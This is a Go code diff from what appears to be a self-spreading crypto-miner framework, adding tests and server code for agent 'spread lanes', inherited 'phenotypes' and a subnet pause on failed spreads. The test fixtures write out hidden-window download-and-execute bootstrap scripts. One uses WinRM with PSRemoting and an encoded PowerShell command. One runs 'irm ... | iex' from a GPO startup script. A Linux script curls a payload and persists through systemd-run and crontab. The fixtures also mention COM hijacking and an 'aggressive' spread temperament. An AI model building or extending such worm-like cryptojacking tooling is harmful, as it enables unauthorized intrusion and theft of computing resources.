+		OK         bool   `json:"ok"`
+		Error      string `json:"error,omitempty"`
+		DurationMs int64  `json:"duration_ms"`
+		Wallet     string `json:"wallet,omitempty"`
+	}{
+		{Tier: "container", OK: true},
+		{Tier: "docker", OK: false},
+		{Tier: "wsl", OK: true},
+	}
+	hub.tryPublishWinningPhenotype(
+		winnerA, "windows", "127.0.0.1", nil, attempts,
+		900.0, "wsl", "winrm",
+		[]string{"container", "wsl", "cpu_inprocess"},
+	)
+	hub.tryPublishWinningPhenotype(
+		winnerB, "windows", "127.0.0.1", nil, attempts,
+		700.0, "ps_inmemory", "docker",
+		[]string{"wsl", "container", "ps_inmemory"},
+	)
+
+	fp := strategy.FingerprintFromAuth("windows", "127.0.0.1", false).Key()
+	if hub.breedingRegistry.LaneCount(fp) != 2 {
+		t.Fatalf("expected 2 lane winners, got %d", hub.breedingRegistry.LaneCount(fp))
+	}
+	if _, ok := hub.breedingRegistry.GetBred(fp); !ok {
+		t.Fatal("expected bred phenotype in registry")
+	}
+
+	if _, err := database.Exec(`DELETE FROM fleet_phenotypes WHERE fingerprint = ?`, fp); err != nil {
+		t.Fatal(err)
+	}
+
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": siblingID, "fleet_secret": "test-secret",
+		"wallet": "4" + repeatChar('C', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
+	})
+	var payload map[string]interface{}
+	if err := json.Unmarshal(resp.Payload, &payload); err != nil {
+		t.Fatal(err)
+	}
+	raw, ok := payload["inherited_phenotype"]
+	if !ok {
+		t.Fatal("expected inherited_phenotype from genetic breed")
+	}
+	if _, hasAdaptive := payload["adaptive_strategy"]; hasAdaptive {
+		t.Fatal("genetic breed should override adaptive strategy")
+	}
+	data, _ := json.Marshal(raw)
+	var inherited struct {
+		SourceAgentName string   `json:"source_agent_name"`
+		TierOrder       []string `json:"tier_order"`
+		GeneticBreed    bool     `json:"genetic_breed"`
+		ParentLanes     []string `json:"parent_lanes"`
+	}
+	if err := json.Unmarshal(data, &inherited); err != nil {
+		t.Fatal(err)
+	}
+	if !inherited.GeneticBreed {
+		t.Fatalf("expected genetic_breed=true, got %+v", inherited)
+	}
+	if len(inherited.ParentLanes) != 2 {
+		t.Fatalf("parent_lanes = %v", inherited.ParentLanes)
+	}
+	if len(inherited.TierOrder) == 0 {
+		t.Fatalf("empty bred tier_order: %+v", inherited)
+	}
+	if inherited.SourceAgentName == "" || inherited.SourceAgentName == "worker-07" {
+		t.Fatalf("expected genetic source name, got %q", inherited.SourceAgentName)
+	}
+}
+
+func TestInheritedPhenotypePrecedenceOverGeneticBreed(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	hub.SetFleetSecret("test-secret")
+
+	winnerA := "agent-winner-a"
+	winnerB := "agent-winner-b"
+	siblingID := "agent-sibling-c"
+	for _, ag := range []*models.Agent{
+		{ID: winnerA, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
+		{ID: winnerB, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
+		{ID: siblingID, Name: "worker-99", Wallet: "4" + repeatChar('C', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
+	} {
+		if err := database.UpsertAgent(ag); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	hub.tryPublishWinningPhenotype(
+		winnerA, "windows", "127.0.0.1", nil, nil,
+		900.0, "wsl", "winrm",
+		[]string{"container", "wsl", "cpu_inprocess"},
+	)
+	hub.tryPublishWinningPhenotype(
+		winnerB, "windows", "127.0.0.1", nil, nil,
+		700.0, "ps_inmemory", "docker",
+		[]string{"wsl", "container", "ps_inmemory"},
+	)
+
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": siblingID, "fleet_secret": "test-secret",
+		"wallet": "4" + repeatChar('C', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
+	})
+	var payload map[string]interface{}
+	if err := json.Unmarshal(resp.Payload, &payload); err != nil {
+		t.Fatal(err)
+	}
+	raw, ok := payload["inherited_phenotype"]
+	if !ok {
+		t.Fatal("expected inherited_phenotype")
+	}
+	data, _ := json.Marshal(raw)
+	var inherited struct {
+		SourceAgentName string `json:"source_agent_name"`
+		GeneticBreed    bool   `json:"genetic_breed"`
+		SpreadLane      string `json:"spread_lane"`
+	}
+	if err := json.Unmarshal(data, &inherited); err != nil {
+		t.Fatal(err)
+	}
+	if inherited.GeneticBreed {
+		t.Fatal("stored fleet winner should beat genetic breed")
+	}
+	if inherited.SourceAgentName != "worker-07" {
+		t.Fatalf("source = %q, want worker-07", inherited.SourceAgentName)
+	}
+	if inherited.SpreadLane != "winrm" {
+		t.Fatalf("spread_lane = %q", inherited.SpreadLane)
+	}
+}

server/internal/api/router.go

@@ -720,6 +720,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		if pathTracerHandler != nil {
 			r.Post("/pathtrace/start", pathTracerHandler.Start)
 			r.Post("/pathtrace/discover", pathTracerHandler.Discover)
+			r.Post("/pathtrace/spread-route", pathTracerHandler.SpreadRoute)
 			r.Post("/pathtrace/spread", pathTracerHandler.Spread)
 			r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
 			r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
@@ -825,6 +826,46 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 	return r
 }
 
+// agentBinaryCandidates returns search paths and the Content-Disposition filename
+// for SUPP Seek agent downloads. dir is typically the directory containing the
+// running server executable (USB bundle root or dev build output).
+func agentBinaryCandidates(platform, dir string) (candidates []string, dlName string) {
+	switch platform {
+	case "windows":
+		dlName = "crypto-miner-agent.exe"
+		candidates = []string{
+			filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
+			filepath.Join(dir, "crypto-miner-agent.exe"),
+		}
+	case "mac":
+		dlName = "crypto-miner-agent"
+		candidates = []string{
+			filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
+			filepath.Join(dir, "crypto-miner-agent-darwin"),
+			filepath.Join(dir, "agent", "crypto-miner-agent"),
+		}
+	case "linux":
+		dlName = "crypto-miner-agent"
+		candidates = []string{
+			filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
+			filepath.Join(dir, "crypto-miner-agent-linux"),
+			filepath.Join(dir, "agent", "crypto-miner-agent"),
+		}
+	}
+	return candidates, dlName
+}
+
+// findAgentBinary locates the first existing candidate under dir.
+func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
+	candidates, dlName := agentBinaryCandidates(platform, dir)
+	for _, c := range candidates {
+		if _, err := os.Stat(c); err == nil {
+			return c, dlName, true
+		}
+	}
+	return "", dlName, false
+}
+
 // serveAgentBinary returns an HTTP handler that streams the agent binary for
 // the requested platform. It looks for the binary next to the running server
 // exe so it works both from the USB bundle and from a compiled dev build.
@@ -832,55 +873,29 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 // Filename convention (same as what the build pipeline produces):
 //   - windows → crypto-miner-agent.exe
 //   - mac/linux → crypto-miner-agent  (no extension)
+// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
+// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
+var agentBinarySearchDir = func() (string, error) {
+	exe, err := os.Executable()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Dir(exe), nil
+}
+
 func serveAgentBinary(platform string) http.HandlerFunc {
 	return func(w http.ResponseWriter, r *http.Request) {
-		exe, err := os.Executable()
+		dir, err := agentBinarySearchDir()
 		if err != nil {
 			http.Error(w, "server exe not found", http.StatusInternalServerError)
 			return
 		}
-		dir := filepath.Dir(exe)
+		binPath, dlName, ok := findAgentBinary(platform, dir)
-
+		if !ok {
-		var candidates []string
-		var dlName string
-
-		switch platform {
-		case "windows":
-			dlName = "crypto-miner-agent.exe"
-			candidates = []string{
-				filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
-				filepath.Join(dir, "crypto-miner-agent.exe"),
-			}
-		case "mac":
-			dlName = "crypto-miner-agent"
-			candidates = []string{
-				filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
-				filepath.Join(dir, "crypto-miner-agent-darwin"),
-				filepath.Join(dir, "agent", "crypto-miner-agent"),
-			}
-		case "linux":
-			dlName = "crypto-miner-agent"
-			candidates = []string{
-				filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
-				filepath.Join(dir, "crypto-miner-agent-linux"),
-				filepath.Join(dir, "agent", "crypto-miner-agent"),
-			}
-		}
-
-		var binPath string
-		for _, c := range candidates {
-			if _, err := os.Stat(c); err == nil {
-				binPath = c
-				break
-			}
-		}
-
-		if binPath == "" {
 			log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
 			http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
 			return
 		}
-
 		w.Header().Set("Content-Type", "application/octet-stream")
 		w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
 		http.ServeFile(w, r, binPath)

server/internal/api/scout_phenotype_test.go

@@ -0,0 +1,79 @@
+package api
+
+import (
+	"encoding/json"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+	"crypto-miner-server/internal/strategy"
+)
+
+func TestPublishScoutPhenotypeFromReport(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	scoutID := "apk-scout-1"
+	if err := database.UpsertAgent(&models.Agent{
+		ID: scoutID, Name: "tablet-scout", Platform: "android", Status: "online",
+		IP: "127.0.0.1", LastSeen: time.Now(),
+	}); err != nil {
+		t.Fatal(err)
+	}
+
+	hub.tryPublishScoutPhenotype(scoutID, "android", "127.0.0.1", nil, "docker", 5)
+
+	fp := strategy.FingerprintFromAuth("android", "127.0.0.1", false)
+	pheno, err := database.GetFleetPhenotypeByFingerprint(fp.Key())
+	if err != nil {
+		t.Fatal(err)
+	}
+	if pheno.SpreadLane != "docker" {
+		t.Fatalf("spread_lane=%q", pheno.SpreadLane)
+	}
+	if pheno.PeakHashrate != 0 {
+		t.Fatalf("scout phenotype should not require hashrate, got %v", pheno.PeakHashrate)
+	}
+	if len(pheno.TierOrder) < 2 {
+		t.Fatalf("tier_order=%v", pheno.TierOrder)
+	}
+}
+
+func TestAuthResponseSpreadTemperamentPersona(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	hub.SetFleetSecret("test-secret")
+	hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, AIPersona: "aggressive"})
+
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": "agent-scout-policy", "fleet_secret": "test-secret",
+		"wallet": "4" + repeatChar('C', 94), "hostname": "win-host", "platform": "windows", "version": "test",
+	})
+	var payload map[string]interface{}
+	if err := json.Unmarshal(resp.Payload, &payload); err != nil {
+		t.Fatal(err)
+	}
+	raw, ok := payload["spread_temperament"]
+	if !ok {
+		t.Fatal("missing spread_temperament")
+	}
+	data, _ := json.Marshal(raw)
+	var temperament strategy.AdaptiveStrategy
+	if err := json.Unmarshal(data, &temperament); err != nil {
+		t.Fatal(err)
+	}
+	if len(temperament.TierOrder) == 0 || temperament.TierOrder[2] != "smb" {
+		t.Fatalf("aggressive spread temperament = %v", temperament.TierOrder)
+	}
+}

server/internal/api/server_policy.go

@@ -15,6 +15,15 @@ type ServerPolicy struct {
 	TripleOnionPolicy      TripleOnionPolicy
 	// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
 	AIControlEnabled bool
+	// AIPersona selects Fleet AI spread propagation temperament (aggressive/silent/…).
+	AIPersona string
+	// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24.
+	AtlasLanGossipEnabled bool
+	// FleetRolesEnabled pushes seeder/miner hints on auth and tracks LAN seeders.
+	FleetRolesEnabled bool
+	// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
+	HashrateGateSpreadMin int
+	HashrateGateHPS       float64
 }
 
 // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

server/internal/api/service_deploy_test.go

@@ -86,6 +86,33 @@ func TestNormalizeJoinLaneAliases(t *testing.T) {
 	}
 }
 
+func TestPickDeployLaneGPO(t *testing.T) {
+	allowlist := NormalizeServiceDeployAllowlist(nil)
+	services := []DeployServiceFinding{{Name: "gpsvc", Status: "running"}}
+	matched, lane, ok := PickDeployLane(services, allowlist)
+	if !ok || matched != "gpsvc" || lane.Lane != "gpo" || lane.Template != "gpo" {
+		t.Fatalf("matched=%q lane=%+v", matched, lane)
+	}
+}
+
+func TestPickDeployLaneWinRM(t *testing.T) {
+	allowlist := NormalizeServiceDeployAllowlist(nil)
+	services := []DeployServiceFinding{{Name: "WinRM", Status: "running"}}
+	matched, lane, ok := PickDeployLane(services, allowlist)
+	if !ok || matched != "WinRM" || lane.Lane != "winrm" || lane.Template != "winrm" {
+		t.Fatalf("matched=%q lane=%+v", matched, lane)
+	}
+}
+
+func TestPickDeployLaneLinuxLOTL(t *testing.T) {
+	allowlist := NormalizeServiceDeployAllowlist(nil)
+	services := []DeployServiceFinding{{Name: "sshd", Status: "active"}}
+	matched, lane, ok := PickDeployLane(services, allowlist)
+	if !ok || matched != "sshd" || lane.Lane != "linux_lotl" || lane.Template != "linux-lotl" {
+		t.Fatalf("matched=%q lane=%+v", matched, lane)
+	}
+}
+
 func TestVerifyDeployPlanSignature(t *testing.T) {
 	plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
 	sig, err := signDeployPlan(plan, "test-secret")

server/internal/api/spread_cred.go

@@ -2,9 +2,11 @@ package api
 
 import (
 	"encoding/json"
+	"log"
 	"net/http"
 	"strings"
 
+	"crypto-miner-server/internal/atlas"
 	dbpkg "crypto-miner-server/internal/db"
 )
 
@@ -194,5 +196,14 @@ func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
 		http.Error(w, err.Error(), http.StatusInternalServerError)
 		return
 	}
+	if !req.Success {
+		target := req.Subnet
+		if target == "" {
+			target = req.Host
+		}
+		if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused {
+			log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold)
+		}
+	}
 	writeJSON(w, map[string]interface{}{"ok": true})
 }

server/internal/api/spread_handler_test.go

@@ -49,7 +49,14 @@ func writeSpreadTemplates(t *testing.T, root string) {
 	if err := os.MkdirAll(winrmDir, 0755); err != nil {
 		t.Fatal(err)
 	}
-	if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte("{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}} COM={{COM_HIJACK}}"), 0644); err != nil {
+	winrmScript := `# WinRM bootstrap
+Enable-PSRemoting -Force -SkipNetworkProfileCheck
+$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
+Start-Process -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
+powershell.exe -EncodedCommand $encoded
+COM={{COM_HIJACK}}
+`
+	if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0644); err != nil {
 		t.Fatal(err)
 	}
 
@@ -57,7 +64,13 @@ func writeSpreadTemplates(t *testing.T, root string) {
 	if err := os.MkdirAll(linuxDir, 0755); err != nil {
 		t.Fatal(err)
 	}
-	if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte("#!/bin/sh\n# {{LOTL_MODE}} {{SERVER_URL}}\n"), 0755); err != nil {
+	linuxScript := `#!/bin/sh
+LOTL_MODE='{{LOTL_MODE}}'
+curl -fsSL "{{SERVER_URL}}/get?os=linux{{QUERY_SUFFIX}}"
+systemd-run --user --unit=aetherforge-worker.service
+persist_crontab() { crontab -; }
+`
+	if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0755); err != nil {
 		t.Fatal(err)
 	}
 
@@ -65,7 +78,12 @@ func writeSpreadTemplates(t *testing.T, root string) {
 	if err := os.MkdirAll(entDir, 0755); err != nil {
 		t.Fatal(err)
 	}
-	if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte("{{SERVER_URL}}{{GET_QUERY_SUFFIX}}"), 0644); err != nil {
+	gpoScript := `# GPO computer startup script
+$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
+$env:AETHER_DEFER_MINING = '1'
+powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
+`
+	if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0644); err != nil {
 		t.Fatal(err)
 	}
 }
@@ -220,6 +238,137 @@ func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
 	}
 }
 
+func TestExportSpreadTemplateGPO(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+
+	body, _ := json.Marshal(map[string]string{
+		"template":   "gpo",
+		"server_url": "https://deck.example",
+		"build_id":   "pin-gpo",
+		"campaign":   "domain-wave",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
+	}
+	if !strings.Contains(rec.Header().Get("Content-Disposition"), "aetherforge-gpo-startup.zip") {
+		t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
+	}
+	entries := readZipEntries(t, rec.Body.Bytes())
+	script := entries["gpo-startup.ps1"]
+	for _, marker := range []string{
+		"https://deck.example/install.ps1",
+		"pin=pin-gpo",
+		"c=domain-wave",
+		"AETHER_DEFER_MINING",
+	} {
+		if !strings.Contains(script, marker) {
+			t.Fatalf("gpo script missing %q: %s", marker, script)
+		}
+	}
+}
+
+func TestExportSpreadTemplateLinuxLOTL(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+
+	body, _ := json.Marshal(map[string]string{
+		"template":   "linux-lotl",
+		"server_url": "https://deck.example",
+		"build_id":   "pin-lnx",
+		"campaign":   "ssh-wave",
+		"lotl_mode":  "both",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
+	}
+	entries := readZipEntries(t, rec.Body.Bytes())
+	script := entries["lotl-bootstrap.sh"]
+	for _, marker := range []string{
+		"https://deck.example/get?os=linux",
+		"pin=pin-lnx",
+		"LOTL_MODE='both'",
+		"systemd-run --user",
+		"crontab",
+	} {
+		if !strings.Contains(script, marker) {
+			t.Fatalf("linux script missing %q: %s", marker, script)
+		}
+	}
+}
+
+func TestSpreadTemplateRejectsUnknownLane(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+	body, _ := json.Marshal(map[string]string{
+		"template":   "bogus-lane",
+		"server_url": "https://deck.example",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+	if rec.Code != http.StatusBadRequest {
+		t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
+	}
+}
+
+func TestSpreadTemplateRequiresServerURL(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+	body, _ := json.Marshal(map[string]string{"template": "winrm"})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+	if rec.Code != http.StatusBadRequest {
+		t.Fatalf("status %d", rec.Code)
+	}
+}
+
+func TestExportSpreadTemplateWinRMMarkers(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+
+	body, _ := json.Marshal(map[string]interface{}{
+		"template":   "winrm",
+		"server_url": "https://deck.example",
+		"build_id":   "pin-wrm",
+		"campaign":   "winrm-lab",
+		"com_hijack": true,
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
+	}
+	entries := readZipEntries(t, rec.Body.Bytes())
+	script := entries["bootstrap.ps1"]
+	for _, marker := range []string{
+		"Enable-PSRemoting",
+		"https://deck.example/get?os=windows",
+		"--spread-install",
+		"--defer-mining",
+		"COM=true",
+	} {
+		if !strings.Contains(script, marker) {
+			t.Fatalf("winrm script missing %q: %s", marker, script)
+		}
+	}
+}
+
 func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
 	root := t.TempDir()
 	writeSpreadTemplates(t, root)

server/internal/api/spread_immunity.go

@@ -0,0 +1,58 @@
+package api
+
+import (
+	"fmt"
+	"strings"
+
+	"crypto-miner-server/internal/atlas"
+)
+
+var spreadCommandActions = map[string]bool{
+	"discover_and_join": true,
+	"spread_now":        true,
+	"stage_fetch":       true,
+}
+
+func isSpreadCommandAction(action string) bool {
+	return spreadCommandActions[strings.TrimSpace(strings.ToLower(action))]
+}
+
+func (h *WSHub) checkSubnetSpreadImmune(agentID, action string, args map[string]interface{}) error {
+	if h == nil || h.subnetImmune == nil || !isSpreadCommandAction(action) {
+		return nil
+	}
+	if h.db != nil && agentID != "" {
+		if agent, err := h.db.GetAgent(agentID); err == nil && agent != nil && agent.IP != "" {
+			if err := h.subnetImmune.SpreadActionBlocked(agent.IP); err != nil {
+				return err
+			}
+		}
+	}
+	if args != nil {
+		for _, key := range []string{"host", "subnet", "target"} {
+			if raw, ok := args[key].(string); ok && strings.TrimSpace(raw) != "" {
+				if err := h.subnetImmune.SpreadActionBlocked(raw); err != nil {
+					return err
+				}
+			}
+		}
+	}
+	return nil
+}
+
+// SetSubnetImmune wires subnet /24 spread pause tracking.
+func (h *WSHub) SetSubnetImmune(immune *atlas.SubnetImmune) {
+	if h == nil {
+		return
+	}
+	h.mu.Lock()
+	h.subnetImmune = immune
+	h.mu.Unlock()
+}
+
+func spreadImmuneBlockedMessage(err error) string {
+	if err == nil {
+		return ""
+	}
+	return fmt.Sprintf("spread blocked: %v", err)
+}

server/internal/api/spread_immunity_test.go

@@ -0,0 +1,59 @@
+package api
+
+import (
+	"testing"
+
+	"crypto-miner-server/internal/atlas"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+)
+
+func TestSendAgentCommandBlockedBySubnetImmune(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+
+	hub := NewWSHub(database)
+	hub.SetSubnetImmune(atlas.NewSubnetImmune(database))
+
+	agentID := "spread-agent"
+	if err := database.UpsertAgent(&models.Agent{
+		ID: agentID, Name: "host", Wallet: "x", IP: "10.0.0.50", Status: "online",
+	}); err != nil {
+		t.Fatal(err)
+	}
+	for i := 0; i < 5; i++ {
+		_, _ = database.RecordSubnetSpreadFailure("10.0.0")
+	}
+
+	err = hub.SendAgentCommand(agentID, "spread_now", nil)
+	if err == nil {
+		t.Fatal("expected spread_now blocked for paused subnet")
+	}
+	if !isSpreadCommandAction("discover_and_join") {
+		t.Fatal("discover_and_join should be spread action")
+	}
+}
+
+func TestCheckSubnetSpreadImmuneAllowsOtherPrefix(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+
+	hub := NewWSHub(database)
+	hub.SetSubnetImmune(atlas.NewSubnetImmune(database))
+	for i := 0; i < 5; i++ {
+		_, _ = database.RecordSubnetSpreadFailure("10.0.0")
+	}
+	agentID := "other-subnet"
+	_ = database.UpsertAgent(&models.Agent{
+		ID: agentID, Name: "host", Wallet: "x", IP: "192.168.1.10", Status: "online",
+	})
+	if err := hub.checkSubnetSpreadImmune(agentID, "stage_fetch", nil); err != nil {
+		t.Fatalf("other subnet should pass: %v", err)
+	}
+}

server/internal/api/spread_lanes_test.go

@@ -0,0 +1,180 @@
+package api
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+)
+
+func writeDeploySpreadTemplates(t *testing.T, root string) {
+	t.Helper()
+	winrmDir := filepath.Join(root, "templates", "spread", "winrm")
+	if err := os.MkdirAll(winrmDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	winrmScript := `# WinRM bootstrap
+Enable-PSRemoting -Force -SkipNetworkProfileCheck
+$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
+Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
+powershell.exe -EncodedCommand $encoded
+`
+	if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	linuxDir := filepath.Join(root, "templates", "spread", "linux")
+	if err := os.MkdirAll(linuxDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	linuxScript := `#!/bin/sh
+LOTL_MODE='{{LOTL_MODE}}'
+curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
+systemd-run --user --unit=aetherforge-worker.service
+persist_crontab() { crontab -; }
+`
+	if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	entDir := filepath.Join(root, "templates", "spread", "enterprise")
+	if err := os.MkdirAll(entDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	gpoScript := `# GPO computer startup script
+$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
+$env:AETHER_DEFER_MINING = '1'
+powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
+`
+	if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
+	cases := map[string]struct {
+		subdir string
+		zip    string
+	}{
+		"winrm":           {"winrm", "aetherforge-winrm-bootstrap.zip"},
+		"linux-lotl":      {"linux", "aetherforge-linux-lotl.zip"},
+		"gpo":             {"enterprise", "aetherforge-gpo-startup.zip"},
+		"enterprise-gpo":  {"enterprise", "aetherforge-gpo-startup.zip"},
+	}
+	for tpl, want := range cases {
+		subdir, zip, err := spreadTemplatePaths(tpl)
+		if err != nil {
+			t.Fatalf("%q: %v", tpl, err)
+		}
+		if subdir != want.subdir || zip != want.zip {
+			t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
+		}
+	}
+	_, _, err := spreadTemplatePaths("bogus-lane")
+	if err == nil || !strings.Contains(err.Error(), "unknown template") {
+		t.Fatalf("err=%v", err)
+	}
+}
+
+func TestDeployPlanWinRMLane(t *testing.T) {
+	root := t.TempDir()
+	writeDeploySpreadTemplates(t, root)
+	h := testDeployPlanHandlerWithRoot(t, root)
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
+	}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.JoinLane != "winrm" || plan.Script == "" {
+		t.Fatalf("plan=%+v", plan)
+	}
+	for _, marker := range []string{
+		"http://127.0.0.1:8989/get?os=windows",
+		"--spread-install",
+		"--defer-mining",
+		"Enable-PSRemoting",
+	} {
+		if !strings.Contains(plan.Script, marker) {
+			t.Fatalf("script missing %q: %s", marker, plan.Script)
+		}
+	}
+}
+
+func TestDeployPlanGPOLane(t *testing.T) {
+	root := t.TempDir()
+	writeDeploySpreadTemplates(t, root)
+	h := testDeployPlanHandlerWithRoot(t, root)
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
+	}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.JoinLane != "gpo" || plan.Script == "" {
+		t.Fatalf("plan=%+v", plan)
+	}
+	for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
+		if !strings.Contains(plan.Script, marker) {
+			t.Fatalf("script missing %q: %s", marker, plan.Script)
+		}
+	}
